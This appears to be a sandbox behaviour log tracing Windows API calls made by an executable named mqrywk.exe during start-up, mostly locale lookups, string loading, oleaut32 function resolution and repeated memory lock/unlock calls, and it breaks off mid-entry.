# Flog Txt Version 1 # Analyzer Version: 3.2.1 # Analyzer Build Date: Feb 5 2020 10:35:20 # Log Creation Date: 07.02.2020 14:09:08.785 Process: id = "1" image_name = "mqrywk.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mqrywk.exe" page_root = "0x3485e000" os_pid = "0x1c4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x444" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xb68 [0024.979] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0024.980] GetKeyboardType (nTypeFlag=0) returned 4 [0024.980] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" " [0024.980] GetStartupInfoA (in: lpStartupInfo=0x18fef8 | out: lpStartupInfo=0x18fef8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0024.980] GetACP () returned 0x4e4 [0024.980] GetCurrentThreadId () returned 0xb68 [0024.981] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18ede8, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mqrywk.exe")) returned 0x30 [0024.991] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x18ecc3, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mqrywk.exe")) returned 0x30 [0024.991] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18edd8 | out: phkResult=0x18edd8*=0x0) returned 0x2 [0024.991] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18edd8 | out: phkResult=0x18edd8*=0x0) returned 0x2 [0024.991] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18edd8 | out: phkResult=0x18edd8*=0x0) returned 0x2 [0024.991] lstrcpynA (in: lpString1=0x18ecc3, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe", iMaxLength=261 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe" [0024.991] GetThreadLocale () returned 0x409 [0024.991] GetLocaleInfoA (in: Locale=0x409, LCType=0x3, lpLCData=0x18edd3, cchData=5 | out: lpLCData="ENU") returned 4 [0024.994] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe") returned 48 [0024.994] lstrcpynA (in: lpString1=0x18ecf0, lpString2="ENU", iMaxLength=216 | out: lpString1="ENU") returned="ENU" [0024.994] LoadLibraryExA (lpLibFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.ENU", hFile=0x0, dwFlags=0x2) returned 0x0 [0024.994] lstrcpynA (in: lpString1=0x18ecf0, lpString2="EN", iMaxLength=216 | out: lpString1="EN") returned="EN" [0024.994] LoadLibraryExA (lpLibFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.EN", hFile=0x0, dwFlags=0x2) returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xffc1, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xffc0, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xffde, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xffdf, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xffd2, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xffda, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xffd1, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xffee, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xffd5, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xffd4, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xffe7, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xffe8, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xffe9, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xffe6, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xffe4, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xffe2, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xffe1, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xffe0, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xffff, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xfffe, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xfffd, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xfffc, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xfffb, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xfffa, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xfff9, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xfff8, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xfff7, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xfff6, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] LoadStringA (in: hInstance=0x400000, uID=0xfff5, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.995] VirtualAlloc (lpAddress=0x0, dwSize=0x13fff0, flAllocationType=0x1000, flProtect=0x4) returned 0x440000 [0024.996] LoadStringA (in: hInstance=0x400000, uID=0xfff3, lpBuffer=0x18ef04, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.996] LoadStringA (in: hInstance=0x400000, uID=0xffe3, lpBuffer=0x18ef04, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0024.996] GetVersionExA (in: lpVersionInformation=0x18fe9c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x4, dwMinorVersion=0x140000, dwBuildNumber=0x18fec4, dwPlatformId=0x7541e37d, szCSDVersion="ÿÿÿÿ") | out: lpVersionInformation=0x18fe9c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0024.996] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0024.996] GetProcAddress (hModule=0x76e10000, lpProcName="GetDiskFreeSpaceExA") returned 0x76ea434f [0024.996] GetThreadLocale () returned 0x409 [0024.996] GetSystemMetrics (nIndex=42) returned 0 [0025.329] GetThreadLocale () returned 0x409 [0025.329] GetLocaleInfoA (in: Locale=0x409, LCType=0x44, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Jan") returned 4 [0025.329] GetLocaleInfoA (in: Locale=0x409, LCType=0x38, lpLCData=0x18fd74, cchData=256 | out: lpLCData="January") returned 8 [0025.329] GetLocaleInfoA (in: Locale=0x409, LCType=0x45, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Feb") returned 4 [0025.329] GetLocaleInfoA (in: Locale=0x409, LCType=0x39, lpLCData=0x18fd74, cchData=256 | out: lpLCData="February") returned 9 [0025.329] GetLocaleInfoA (in: Locale=0x409, LCType=0x46, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Mar") returned 4 [0025.329] GetLocaleInfoA (in: Locale=0x409, LCType=0x3a, lpLCData=0x18fd74, cchData=256 | out: lpLCData="March") returned 6 [0025.329] GetLocaleInfoA (in: Locale=0x409, LCType=0x47, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Apr") returned 4 [0025.329] GetLocaleInfoA (in: Locale=0x409, LCType=0x3b, lpLCData=0x18fd74, cchData=256 | out: lpLCData="April") returned 6 [0025.329] GetLocaleInfoA (in: Locale=0x409, LCType=0x48, lpLCData=0x18fd74, cchData=256 | out: lpLCData="May") returned 4 [0025.329] GetLocaleInfoA (in: Locale=0x409, LCType=0x3c, lpLCData=0x18fd74, cchData=256 | out: lpLCData="May") returned 4 [0025.329] GetLocaleInfoA (in: Locale=0x409, LCType=0x49, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Jun") returned 4 [0025.329] GetLocaleInfoA (in: Locale=0x409, LCType=0x3d, lpLCData=0x18fd74, cchData=256 | out: lpLCData="June") returned 5 [0025.329] GetLocaleInfoA (in: Locale=0x409, LCType=0x4a, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Jul") returned 4 [0025.329] GetLocaleInfoA (in: Locale=0x409, LCType=0x3e, lpLCData=0x18fd74, cchData=256 | out: lpLCData="July") returned 5 [0025.329] GetLocaleInfoA (in: Locale=0x409, LCType=0x4b, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Aug") returned 4 [0025.329] GetLocaleInfoA (in: Locale=0x409, LCType=0x3f, lpLCData=0x18fd74, cchData=256 | out: lpLCData="August") returned 7 [0025.329] GetLocaleInfoA (in: Locale=0x409, LCType=0x4c, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Sep") returned 4 [0025.329] GetLocaleInfoA (in: Locale=0x409, LCType=0x40, lpLCData=0x18fd74, cchData=256 | out: lpLCData="September") returned 10 [0025.329] GetLocaleInfoA (in: Locale=0x409, LCType=0x4d, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Oct") returned 4 [0025.329] GetLocaleInfoA (in: Locale=0x409, LCType=0x41, lpLCData=0x18fd74, cchData=256 | out: lpLCData="October") returned 8 [0025.329] GetLocaleInfoA (in: Locale=0x409, LCType=0x4e, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Nov") returned 4 [0025.329] GetLocaleInfoA (in: Locale=0x409, LCType=0x42, lpLCData=0x18fd74, cchData=256 | out: lpLCData="November") returned 9 [0025.329] GetLocaleInfoA (in: Locale=0x409, LCType=0x4f, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Dec") returned 4 [0025.329] GetLocaleInfoA (in: Locale=0x409, LCType=0x43, lpLCData=0x18fd74, cchData=256 | out: lpLCData="December") returned 9 [0025.329] GetLocaleInfoA (in: Locale=0x409, LCType=0x37, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Sun") returned 4 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x30, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Sunday") returned 7 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x31, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Mon") returned 4 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x2a, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Monday") returned 7 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x32, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Tue") returned 4 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x2b, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Tuesday") returned 8 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x33, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Wed") returned 4 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x2c, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Wednesday") returned 10 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x34, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Thu") returned 4 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x2d, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Thursday") returned 9 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x35, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Fri") returned 4 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x2e, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Friday") returned 7 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x36, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Sat") returned 4 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x2f, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Saturday") returned 9 [0025.330] GetThreadLocale () returned 0x409 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x14, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="$") returned 2 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x1b, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="0") returned 2 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x1c, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="0") returned 2 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0xf, lpLCData=0x18fec8, cchData=2 | out: lpLCData=",") returned 2 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0xe, lpLCData=0x18fec8, cchData=2 | out: lpLCData=".") returned 2 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x19, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="2") returned 2 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x1d, lpLCData=0x18fec8, cchData=2 | out: lpLCData="/") returned 2 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x1f, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="M/d/yyyy") returned 9 [0025.330] GetThreadLocale () returned 0x409 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x18fd9c, cchData=256 | out: lpLCData="1") returned 2 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x20, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="dddd, MMMM dd, yyyy") returned 20 [0025.330] GetThreadLocale () returned 0x409 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x18fd9c, cchData=256 | out: lpLCData="1") returned 2 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x1e, lpLCData=0x18fec8, cchData=2 | out: lpLCData=":") returned 2 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x28, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="AM") returned 3 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x29, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="PM") returned 3 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x25, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="0") returned 2 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x23, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="0") returned 2 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0x1005, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="0") returned 2 [0025.330] GetLocaleInfoA (in: Locale=0x409, LCType=0xc, lpLCData=0x18fec8, cchData=2 | out: lpLCData=",") returned 2 [0025.331] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff24 | out: lpPerformanceCount=0x18ff24*=16709695155) returned 1 [0025.331] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x769d0000 [0025.331] GetProcAddress (hModule=0x769d0000, lpProcName="VariantChangeTypeEx") returned 0x769d4c28 [0025.331] GetProcAddress (hModule=0x769d0000, lpProcName="VarNeg") returned 0x76a4c802 [0025.331] GetProcAddress (hModule=0x769d0000, lpProcName="VarNot") returned 0x76a4ec66 [0025.331] GetProcAddress (hModule=0x769d0000, lpProcName="VarAdd") returned 0x769f5934 [0025.331] GetProcAddress (hModule=0x769d0000, lpProcName="VarSub") returned 0x76a4d332 [0025.331] GetProcAddress (hModule=0x769d0000, lpProcName="VarMul") returned 0x76a4dbd4 [0025.331] GetProcAddress (hModule=0x769d0000, lpProcName="VarDiv") returned 0x76a4e405 [0025.331] GetProcAddress (hModule=0x769d0000, lpProcName="VarIdiv") returned 0x76a4f00a [0025.332] GetProcAddress (hModule=0x769d0000, lpProcName="VarMod") returned 0x76a4f15e [0025.332] GetProcAddress (hModule=0x769d0000, lpProcName="VarAnd") returned 0x769f5a98 [0025.332] GetProcAddress (hModule=0x769d0000, lpProcName="VarOr") returned 0x76a4ecfa [0025.332] GetProcAddress (hModule=0x769d0000, lpProcName="VarXor") returned 0x76a4ee2e [0025.332] GetProcAddress (hModule=0x769d0000, lpProcName="VarCmp") returned 0x769eb0dc [0025.332] GetProcAddress (hModule=0x769d0000, lpProcName="VarI4FromStr") returned 0x769e6fab [0025.332] GetProcAddress (hModule=0x769d0000, lpProcName="VarR4FromStr") returned 0x769f01a0 [0025.332] GetProcAddress (hModule=0x769d0000, lpProcName="VarR8FromStr") returned 0x769e699e [0025.332] GetProcAddress (hModule=0x769d0000, lpProcName="VarDateFromStr") returned 0x769f6ba7 [0025.332] GetProcAddress (hModule=0x769d0000, lpProcName="VarCyFromStr") returned 0x76a16c12 [0025.332] GetProcAddress (hModule=0x769d0000, lpProcName="VarBoolFromStr") returned 0x769edbd1 [0025.332] GetProcAddress (hModule=0x769d0000, lpProcName="VarBstrFromCy") returned 0x769f7fdc [0025.332] GetProcAddress (hModule=0x769d0000, lpProcName="VarBstrFromDate") returned 0x769e7a2a [0025.332] GetProcAddress (hModule=0x769d0000, lpProcName="VarBstrFromBool") returned 0x769f0355 [0025.333] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.333] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.333] GlobalUnlock (hMem=0x270004) returned 0 [0025.333] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.334] GlobalLock (hMem=0x27000c) returned 0x5c0608 [0025.334] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.334] GlobalUnlock (hMem=0x270004) returned 0 [0025.334] GlobalHandle (pMem=0x5c0608) returned 0x27000c [0025.334] GlobalUnlock (hMem=0x27000c) returned 0 [0025.334] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.334] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.334] GlobalUnlock (hMem=0x27000c) returned 0 [0025.334] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.334] GlobalLock (hMem=0x270004) returned 0x5c0608 [0025.334] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.334] GlobalUnlock (hMem=0x27000c) returned 0 [0025.334] GlobalHandle (pMem=0x5c0608) returned 0x270004 [0025.334] GlobalUnlock (hMem=0x270004) returned 0 [0025.335] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.335] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.335] GlobalUnlock (hMem=0x270004) returned 0 [0025.335] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.335] GlobalLock (hMem=0x27000c) returned 0x5c0608 [0025.335] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.335] GlobalUnlock (hMem=0x270004) returned 0 [0025.335] GlobalHandle (pMem=0x5c0608) returned 0x27000c [0025.335] GlobalUnlock (hMem=0x27000c) returned 0 [0025.335] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.335] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.335] GlobalUnlock (hMem=0x27000c) returned 0 [0025.335] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.335] GlobalLock (hMem=0x270004) returned 0x5c0608 [0025.335] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.335] GlobalUnlock (hMem=0x27000c) returned 0 [0025.335] GlobalHandle (pMem=0x5c0608) returned 0x270004 [0025.335] GlobalUnlock (hMem=0x270004) returned 0 [0025.335] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.335] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.335] GlobalUnlock (hMem=0x270004) returned 0 [0025.335] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.335] GlobalLock (hMem=0x27000c) returned 0x5c0608 [0025.335] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.335] GlobalUnlock (hMem=0x270004) returned 0 [0025.335] GlobalHandle (pMem=0x5c0608) returned 0x27000c [0025.335] GlobalUnlock (hMem=0x27000c) returned 0 [0025.335] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.335] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.335] GlobalUnlock (hMem=0x27000c) returned 0 [0025.336] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.336] GlobalLock (hMem=0x270004) returned 0x5c0608 [0025.336] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.336] GlobalUnlock (hMem=0x27000c) returned 0 [0025.336] GlobalHandle (pMem=0x5c0608) returned 0x270004 [0025.336] GlobalUnlock (hMem=0x270004) returned 0 [0025.336] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.336] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.336] GlobalUnlock (hMem=0x270004) returned 0 [0025.336] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.336] GlobalLock (hMem=0x27000c) returned 0x5c0608 [0025.336] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.336] GlobalUnlock (hMem=0x270004) returned 0 [0025.336] GlobalHandle (pMem=0x5c0608) returned 0x27000c [0025.336] GlobalUnlock (hMem=0x27000c) returned 0 [0025.336] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.336] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.336] GlobalUnlock (hMem=0x27000c) returned 0 [0025.336] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.336] GlobalLock (hMem=0x270004) returned 0x5c0608 [0025.336] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.336] GlobalUnlock (hMem=0x27000c) returned 0 [0025.336] GlobalHandle (pMem=0x5c0608) returned 0x270004 [0025.336] GlobalUnlock (hMem=0x270004) returned 0 [0025.336] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.336] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.336] GlobalUnlock (hMem=0x270004) returned 0 [0025.336] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.337] GlobalLock (hMem=0x27000c) returned 0x5c0608 [0025.337] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.337] GlobalUnlock (hMem=0x270004) returned 0 [0025.337] GlobalHandle (pMem=0x5c0608) returned 0x27000c [0025.337] GlobalUnlock (hMem=0x27000c) returned 0 [0025.337] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.337] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.337] GlobalUnlock (hMem=0x27000c) returned 0 [0025.337] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.337] GlobalLock (hMem=0x270004) returned 0x5c0608 [0025.337] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.337] GlobalUnlock (hMem=0x27000c) returned 0 [0025.337] GlobalHandle (pMem=0x5c0608) returned 0x270004 [0025.337] GlobalUnlock (hMem=0x270004) returned 0 [0025.337] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.337] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.337] GlobalUnlock (hMem=0x270004) returned 0 [0025.337] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.337] GlobalLock (hMem=0x27000c) returned 0x5c0608 [0025.337] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.337] GlobalUnlock (hMem=0x270004) returned 0 [0025.337] GlobalHandle (pMem=0x5c0608) returned 0x27000c [0025.338] GlobalUnlock (hMem=0x27000c) returned 0 [0025.338] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.338] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.338] GlobalUnlock (hMem=0x27000c) returned 0 [0025.338] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.338] GlobalLock (hMem=0x270004) returned 0x5c0608 [0025.338] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.338] GlobalUnlock (hMem=0x27000c) returned 0 [0025.338] GlobalHandle (pMem=0x5c0608) returned 0x270004 [0025.338] GlobalUnlock (hMem=0x270004) returned 0 [0025.338] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.338] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.338] GlobalUnlock (hMem=0x270004) returned 0 [0025.338] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.338] GlobalLock (hMem=0x27000c) returned 0x5c0608 [0025.338] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.338] GlobalUnlock (hMem=0x270004) returned 0 [0025.338] GlobalHandle (pMem=0x5c0608) returned 0x27000c [0025.338] GlobalUnlock (hMem=0x27000c) returned 0 [0025.338] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.338] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.338] GlobalUnlock (hMem=0x27000c) returned 0 [0025.338] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.338] GlobalLock (hMem=0x270004) returned 0x5c0608 [0025.338] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.338] GlobalUnlock (hMem=0x27000c) returned 0 [0025.338] GlobalHandle (pMem=0x5c0608) returned 0x270004 [0025.339] GlobalUnlock (hMem=0x270004) returned 0 [0025.339] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.339] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.339] GlobalUnlock (hMem=0x270004) returned 0 [0025.339] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.339] GlobalLock (hMem=0x27000c) returned 0x5c0608 [0025.339] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.339] GlobalUnlock (hMem=0x270004) returned 0 [0025.339] GlobalHandle (pMem=0x5c0608) returned 0x27000c [0025.339] GlobalUnlock (hMem=0x27000c) returned 0 [0025.339] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.339] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.339] GlobalUnlock (hMem=0x27000c) returned 0 [0025.339] GlobalLock 